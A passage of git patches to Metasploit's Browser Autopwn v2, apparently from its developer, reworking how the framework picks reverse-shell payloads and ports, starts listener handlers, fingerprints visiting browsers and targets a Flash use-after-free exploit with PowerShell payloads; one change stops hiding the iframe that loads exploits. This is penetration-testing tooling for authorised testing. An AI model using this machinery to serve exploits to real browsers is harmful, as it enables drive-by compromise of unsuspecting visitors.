a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 20bfbed003..16f1dd35ea 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -278,8 +278,14 @@ module Msf # @return [TrueClass] Payload is wanted. # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) + p = framework.payloads.create(payload_name) + return false unless p + + payload_platforms = p.platform.platforms + bap_exploits.each do |m| - return true if m.datastore['PAYLOAD'] == payload_name + module_platforms = m.platform.platforms + return true if payload_platforms.all? { |e| payload_platforms.include? e} end false @@ -468,12 +474,13 @@ module Msf order = 1 bap_exploits.each do |m| + payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multi payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + row << payload_used table << row order += 1 end From 60b0be8e3f59edfa5247d37ca6249a94d4517318 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 01:59:29 -0500 Subject: [PATCH 053/150] Fix a lot of bugs --- lib/msf/core/exploit/browserautopwnv2.rb | 15 +++---- .../exploit/remote/browser_exploit_server.rb | 20 +++++----- lib/msf/core/handler/reverse_tcp_double.rb | 28 +++++++------ .../core/handler/reverse_tcp_double_ssl.rb | 4 +- .../adobe_flash_uncompress_zlib_uaf.rb | 39 ++++++------------- 5 files changed, 50 insertions(+), 56 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 16f1dd35ea..6dacabcb28 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -27,13 +27,14 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, - 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4446 }, - 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, - 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } + 'unix' => { 'payload' => 'cmd/unix/reverse', 'lport' => 4446 }, + 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4447 }, + 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4459 } } @@ -285,7 +286,7 @@ module Msf bap_exploits.each do |m| module_platforms = m.platform.platforms - return true if payload_platforms.all? { |e| payload_platforms.include? e} + return true if payload_platforms.all? { |e| module_platforms.include? e} end false @@ -474,7 +475,7 @@ module Msf order = 1 bap_exploits.each do |m| - payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multi payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 104af64768..f4f173e815 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -199,6 +199,7 @@ module Msf def try_set_target(profile) match_counts = [] target_requirements = {} + profile = profile.values.first targets.each do |t| target_requirements = extract_requirements(t.opts) @@ -206,7 +207,7 @@ module Msf match_counts << 0 else match_counts << target_requirements.select { |k,v| - if v.class == Regexp + if v.is_a? Regexp profile[k] =~ v else profile[k] == v @@ -337,9 +338,9 @@ module Msf report_client({ :host => cli.peerhost, - :ua_string => request.headers['User-Agent'], - :ua_name => found_ua_name, - :ua_ver => found_ua_ver + :ua_string => request.headers['User-Agent'].to_s, + :ua_name => found_ua_name.to_s, + :ua_ver => found_ua_ver.to_s }) end @@ -513,7 +514,7 @@ module Msf bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? begin - method(:on_request_exploit).call(cli, request, profile) + method(:on_request_exploit).call(cli, request, profile.values.first) rescue BESException => e elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") send_not_found(cli) @@ -572,8 +573,8 @@ module Msf # @param browser_info [Hash] The target profile # @return [String] The payload def get_payload(cli, browser_info) - arch = browser_info[:arch] - platform = browser_info[:os_name] + arch = browser_info['arch'] + platform = browser_info['os_name'] # Fix names for consistency so our API can find the right one # Originally defined in lib/msf/core/constants.rb @@ -581,9 +582,10 @@ module Msf platform = platform.gsub(/^Windows.*$/, 'Windows') p = regenerate_payload(cli, platform, arch) + target_arch = get_target.arch - unless p.arch.include?(arch) - err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. " + unless p.arch.all? { |e| target_arch.include?(e) } + err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). " err << "Please check your payload setting." raise BESException, err end diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index af0730f3c5..71d5673974 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -95,16 +95,22 @@ module ReverseTcpDouble sock_inp = nil sock_out = nil - print_status("Started reverse double handler") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Started reverse double handler") + end begin # Accept two client connection begin client_a = self.listener_sock.accept - print_status("Accepted the first client connection...") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Accepted the first client connection...") + end client_b = self.listener_sock.accept - print_status("Accepted the second client connection...") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Accepted the second client connection...") + end rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -147,35 +153,35 @@ module ReverseTcpDouble print_status("Command: #{echo.strip}") - print_status("Writing to socket A") + print_status("Writing to socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 sock_a.put(echo) - print_status("Writing to socket B") + print_status("Writing to socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 sock_b.put(echo) - print_status("Reading from sockets...") + print_status("Reading from sockets...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 resp_a = '' resp_b = '' if (sock_a.has_read_data?(1)) - print_status("Reading from socket A") + print_status("Reading from socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 resp_a = sock_a.get_once print_status("A: #{resp_a.inspect}") end if (sock_b.has_read_data?(1)) - print_status("Reading from socket B") + print_status("Reading from socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 resp_b = sock_b.get_once print_status("B: #{resp_b.inspect}") end - print_status("Matching...") + print_status("Matching...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 if (resp_b.match(etag)) - print_status("A is input...") + print_status("A is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 return sock_a, sock_b else - print_status("B is input...") + print_status("B is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 return sock_b, sock_a end diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index d6650f5264..6d7c89d913 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -105,7 +105,9 @@ module ReverseTcpDoubleSSL via = "" end - print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") + end break rescue ex = $! diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 774ab5ab27..d23e419516 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -46,43 +46,26 @@ class Metasploit3 < Msf::Exploit::Remote { :source => /script|headers/i, :arch => ARCH_X86, - :os_name => lambda do |os| - os =~ OperatingSystems::Match::LINUX || - os =~ OperatingSystems::Match::WINDOWS_7 - end, - :ua_name => lambda do |ua| - case target.name - when 'Windows' - return true if ua == Msf::HttpClients::IE - when 'Linux' - return true if ua == Msf::HttpClients::FF - end - - false - end, - :flash => lambda do |ver| - case target.name - when 'Windows' - return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287') - when 'Linux' - return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438') - end - - false - end + :flash => lambda { |ver| ver.to_i.between?(11, 16) } }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'os_name' => OperatingSystems::Match::WINDOWS, + 'Arch' => ARCH_X86, + 'ua_name' => Msf::HttpClients::IE, + 'flash' => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287') } } ], [ 'Linux', { 'Platform' => 'unix', - 'Arch' => ARCH_CMD + 'Arch' => ARCH_CMD, + 'os_name' => OperatingSystems::Match::LINUX, + 'ua_name' => Msf::HttpClients::FF, + 'flash' => lambda { |ver| ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438') } } ] ], @@ -113,12 +96,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - if target.name =~ /Windows/ + if get_target.name =~ /Windows/ target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) platform_id = 'win' - elsif target.name =~ /Linux/ + elsif get_target.name =~ /Linux/ target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD)) b64_payload = Rex::Text.encode_base64(target_payload) platform_id = 'linux' From 7f4b51f0ffabcbe6071b06902513ee43d38fae09 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 02:08:51 -0500 Subject: [PATCH 054/150] Fix nil bug --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f4f173e815..074202b8e0 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -582,7 +582,7 @@ module Msf platform = platform.gsub(/^Windows.*$/, 'Windows') p = regenerate_payload(cli, platform, arch) - target_arch = get_target.arch + target_arch = get_target.arch || arch unless p.arch.all? { |e| target_arch.include?(e) } err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). " From f378b45408f0a0c946839a83b9ea2e7c5794a83f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 05:06:15 -0500 Subject: [PATCH 055/150] bug fixes, sorta --- lib/msf/core/exploit/browserautopwnv2.rb | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 6dacabcb28..215de88455 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -27,7 +27,7 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, + 'firefox' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4442 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -279,14 +279,12 @@ module Msf # @return [TrueClass] Payload is wanted. # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) - p = framework.payloads.create(payload_name) - return false unless p - - payload_platforms = p.platform.platforms - bap_exploits.each do |m| - module_platforms = m.platform.platforms - return true if payload_platforms.all? { |e| module_platforms.include? e} + return true if m.datastore['PAYLOAD'] == payload_name + + m.compatible_payloads.each do |name, obj| + return true if name == payload_name + end end false @@ -342,9 +340,6 @@ module Msf return if datastore['MaxSessions'] == 0 DEFAULT_PAYLOADS.each_pair do |platform, listener_info| - # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload - next if listener_info['payload'] == 'firefox/shell_reverse_tcp' - # Don't waste resources. This shaves about a second in loading speed. next unless is_payload_handler_wanted?(listener_info['payload']) @@ -475,13 +470,12 @@ module Msf order = 1 bap_exploits.each do |m| - payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << payload_used + row << "#{m.datastore['PAYLOAD']}" table << row order += 1 end From a3764647100e7fc90406542eda7034f28bae58f9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 05:26:13 -0500 Subject: [PATCH 056/150] It kind of blew up --- lib/msf/core/exploit/browserautopwnv2.rb | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 215de88455..4a01ad1194 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -27,7 +27,7 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4442 }, + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -279,12 +279,14 @@ module Msf # @return [TrueClass] Payload is wanted. # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) - bap_exploits.each do |m| - return true if m.datastore['PAYLOAD'] == payload_name + p = framework.payloads.create(payload_name) + return false unless p - m.compatible_payloads.each do |name, obj| - return true if name == payload_name - end + payload_platforms = p.platform.platforms + + bap_exploits.each do |m| + module_platforms = m.platform.platforms + return true if payload_platforms.all? { |e| module_platforms.include? e} end false @@ -340,6 +342,9 @@ module Msf return if datastore['MaxSessions'] == 0 DEFAULT_PAYLOADS.each_pair do |platform, listener_info| + # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload + next if listener_info['payload'] == 'firefox/shell_reverse_tcp' + # Don't waste resources. This shaves about a second in loading speed. next unless is_payload_handler_wanted?(listener_info['payload']) @@ -470,12 +475,13 @@ module Msf order = 1 bap_exploits.each do |m| + payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << "#{m.datastore['PAYLOAD']}" + row << payload_used table << row order += 1 end @@ -744,4 +750,4 @@ module Msf end end -end +end \ No newline at end of file From 7089bd945a15e1e2c3ba6f713347d6b26e45cbbe Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sun, 24 May 2015 12:47:20 -0500 Subject: [PATCH 057/150] This payload handling looks much better --- lib/msf/core/exploit/browserautopwnv2.rb | 33 ++++++++++++++++-------- 1 file changed, 22 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4a01ad1194..0d194ea70a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -26,6 +26,7 @@ module Msf # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. + # Firefox payloads use generic handlers. DEFAULT_PAYLOADS = { 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, @@ -339,22 +340,31 @@ module Msf # @see #payload_job_ids # @return [void] def start_payload_listeners + # Spawn nothing if the user doesn't want to pop sessions. return if datastore['MaxSessions'] == 0 - DEFAULT_PAYLOADS.each_pair do |platform, listener_info| - # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload - next if listener_info['payload'] == 'firefox/shell_reverse_tcp' + wanted_payloads = [] + bap_exploits.each do |mod| + wanted_payloads << { + :payload_name => mod.datastore['PAYLOAD'], :payload_lport => mod.datastore['LPORT'] + } + end - # Don't waste resources. This shaves about a second in loading speed. - next unless is_payload_handler_wanted?(listener_info['payload']) + # Don't repeat launching payload handlers + wanted_payloads.uniq! { |e| e[:payload_name] } + wanted_payloads.each do |wanted| multi_handler = framework.modules.create('exploit/multi/handler') + + # We have to special firefox + payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] + # User configurable options # We could do a massive multi_handler.datastore.merge!(self.datastore), but this seems # really expensive. Costs more loading time. multi_handler.datastore['LHOST'] = get_payload_lhost - multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) - multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) + multi_handler.datastore['PAYLOAD'] = payload_name + multi_handler.datastore['LPORT'] = wanted[:payload_lport] multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions'] multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid'] multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate'] @@ -371,7 +381,7 @@ module Msf multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, - 'Payload' => listener_info['payload'], + 'Payload' => payload_name, 'RunAsJob' => true ) @payload_job_ids << multi_handler.job_id @@ -388,7 +398,8 @@ module Msf end - # Returns the selected payload. + # Returns the selected payload. This method will choose a compatible payload based on the + # default list. # # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' @@ -396,6 +407,7 @@ module Msf selected_payload = DEFAULT_PAYLOADS['generic'] DEFAULT_PAYLOADS.each_pair do |p, info| preferred = info['payload'] + m.compatible_payloads.each do |k| return info if k[0] == preferred end @@ -475,13 +487,12 @@ module Msf order = 1 bap_exploits.each do |m| - payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << payload_used + row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" table << row order += 1 end From 3efe22d5e22940c625a9d9c3c370f4f956b264f6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 01:42:34 -0500 Subject: [PATCH 058/150] This seems better, slower though --- lib/msf/core/exploit/browserautopwnv2.rb | 71 +++++++++++------------- 1 file changed, 33 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 0d194ea70a..125b0be380 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,6 +22,9 @@ module Msf # @return [Array] A list of payload job IDs attr_reader :payload_job_ids + # @return [Array] Wanted payloads. + attr_reader :wanted_payloads + # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. @@ -149,8 +152,8 @@ module Msf # Set options configurable by the user. p = select_payload(xploit) - xploit.datastore['PAYLOAD'] = p['payload'] - xploit.datastore['LPORT'] = p['lport'] + xploit.datastore['PAYLOAD'] = p.first[:payload_name] + xploit.datastore['LPORT'] = p.first[:payload_lport] xploit.datastore['SRVHOST'] = datastore['SRVHOST'] xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate'] xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName'] @@ -272,28 +275,6 @@ module Msf end - # Verifies with current active modules and see if the payload is wanted. For example: if only - # Windows exploits are being loaded, then there's no point to load payload handlers for Java, - # Linux and other ones. - # - # @param [String] payload_name The payload module path (name). - # @return [TrueClass] Payload is wanted. - # @return [FalseClass] Payload is not wanted. - def is_payload_handler_wanted?(payload_name) - p = framework.payloads.create(payload_name) - return false unless p - - payload_platforms = p.platform.platforms - - bap_exploits.each do |m| - module_platforms = m.platform.platforms - return true if payload_platforms.all? { |e| module_platforms.include? e} - end - - false - end - - # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # # @see DEFAULT_PAYLOADS The default settings. @@ -307,7 +288,6 @@ module Msf return payload_name if framework.payloads.keys.include?(payload_name) default = DEFAULT_PAYLOADS[platform]['payload'] - print_status("Unknown payload set: #{payload_name}. Falling back to: #{default}.") # The user has configured some unknown payload that we can't use, # fall back to default. @@ -343,20 +323,13 @@ module Msf # Spawn nothing if the user doesn't want to pop sessions. return if datastore['MaxSessions'] == 0 - wanted_payloads = [] - bap_exploits.each do |mod| - wanted_payloads << { - :payload_name => mod.datastore['PAYLOAD'], :payload_lport => mod.datastore['LPORT'] - } - end - # Don't repeat launching payload handlers wanted_payloads.uniq! { |e| e[:payload_name] } wanted_payloads.each do |wanted| multi_handler = framework.modules.create('exploit/multi/handler') - # We have to special firefox + # We have to special case firefox payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] # User configurable options @@ -404,16 +377,35 @@ module Msf # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) - selected_payload = DEFAULT_PAYLOADS['generic'] - DEFAULT_PAYLOADS.each_pair do |p, info| - preferred = info['payload'] + compatible_payloads = [] + + DEFAULT_PAYLOADS.each_pair do |platform, info| + payload_name = get_selected_payload_name(platform) m.compatible_payloads.each do |k| - return info if k[0] == preferred + if k[0] == payload_name + payload_lport = get_selected_payload_lport(platform) + payload_choice = { + :payload_name => payload_name, + :payload_lport => payload_lport + } + + # Module's compatible payloads. + compatible_payloads << payload_choice + + # Track all compatible payloads. + @wanted_payloads << payload_choice + + # If the module isn't multiple, we assume there is only one payload that needs to be set, + # therefore no need to continue. + if !m.fullname.include?('multi/') + return compatible_payloads + end + end end end - selected_payload + compatible_payloads end @@ -445,6 +437,7 @@ module Msf @bap_exploits = [] @exploit_job_ids = [] @payload_job_ids = [] + @wanted_payloads = [] # #split might be expensive if the file is really big @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil @@ -722,6 +715,8 @@ module Msf end end + + # Some Flash exploits don't seem to work well with a hidden iframe. js = %Q| var currentIndex = 0; var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; From 72112317cc171a5cf24483371b52091c865c130a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 01:58:34 -0500 Subject: [PATCH 059/150] Update --- lib/msf/core/exploit/browserautopwnv2.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 125b0be380..fa030a2f3b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -48,8 +48,10 @@ module Msf # @return [void] def init_exploits # First we're going to avoid using #find_all because that gets very slow. - framework.exploits.each_pair do |fullname, plader_holder| - next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" + framework.exploits.each_pair do |fullname, place_holder| + # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, + # and that's gotta be the active browser autopwn. + next if !fullname.include?('browser') || place_holder != '__SYMBOLIC__' # The user gets to specify which modules to include/exclude next if datastore['Include'] && fullname !~ datastore['Include'] @@ -327,7 +329,7 @@ module Msf wanted_payloads.uniq! { |e| e[:payload_name] } wanted_payloads.each do |wanted| - multi_handler = framework.modules.create('exploit/multi/handler') + multi_handler = framework.exploits.create('multi/handler') # We have to special case firefox payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] From db09b9846c49ae4413a1a0b2b6b5633eebfafe4a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 02:44:57 -0500 Subject: [PATCH 060/150] I think I found the speed back --- lib/msf/core/exploit/browserautopwnv2.rb | 47 ++++++++++++++++++------ 1 file changed, 35 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index fa030a2f3b..c5b8ec8cda 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -382,11 +382,36 @@ module Msf compatible_payloads = [] DEFAULT_PAYLOADS.each_pair do |platform, info| + payload_choice = {} payload_name = get_selected_payload_name(platform) + payload_lport = get_selected_payload_lport(platform) + # If the exploit has a platform, we don't have to call the expensive compatible_payloads method + begin + platform_obj = Msf::Module::Platform.find_platform(platform) + rescue ArgumentError + platform_obj = nil + # No platform obj found + end + + if !m.fullname.include?('multi/') && platform_obj && m.platform.platforms.include?(platform_obj) + payload_choice = { + :payload_name => payload_name, + :payload_lport => payload_lport + } + + # Module's compatible payloads. + compatible_payloads << payload_choice + + # Track all compatible payloads. + @wanted_payloads << payload_choice + + return compatible_payloads + end + + # Either it's a multi-platform module, or there's no platform information. m.compatible_payloads.each do |k| if k[0] == payload_name - payload_lport = get_selected_payload_lport(platform) payload_choice = { :payload_name => payload_name, :payload_lport => payload_lport @@ -400,9 +425,7 @@ module Msf # If the module isn't multiple, we assume there is only one payload that needs to be set, # therefore no need to continue. - if !m.fullname.include?('multi/') - return compatible_payloads - end + break if !m.fullname.include?('multi/') end end end @@ -726,14 +749,14 @@ module Msf window.onload = function() { var e = document.createElement("iframe"); e.setAttribute("id", "myiframe"); - if (typeof e.style.setAttribute == 'undefined') { - e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); - } else { - e.style.setAttribute("visibility", "hidden"); - e.style.setAttribute("height", "0"); - e.style.setAttribute("width", "0"); - e.style.setAttribute("border", "0"); - } + //if (typeof e.style.setAttribute == 'undefined') { + // e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); + //} else { + // e.style.setAttribute("visibility", "hidden"); + // e.style.setAttribute("height", "0"); + // e.style.setAttribute("width", "0"); + // e.style.setAttribute("border", "0"); + //} document.body.appendChild(e); setTimeout("loadExploit(currentIndex)", 1000); } From 3d5248f023fc1edfdb54835e7ea3e0286d7b5aec Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 11:46:18 -0500 Subject: [PATCH 061/150] This is better --- lib/msf/core/exploit/browserautopwnv2.rb | 86 ++++++++++++------------ 1 file changed, 42 insertions(+), 44 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c5b8ec8cda..0fb2ef7efe 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -373,6 +373,33 @@ module Msf end + def is_payload_platform_compatible?(m, payload_platform) + begin + platform_obj = Msf::Module::Platform.find_platform(payload_platform) + rescue ArgumentError + false + end + + return true if platform_obj && m.platform.platforms.include?(platform_obj) + + false + end + + + def is_payload_compatible?(m, payload_name) + m.compatible_payloads.each do 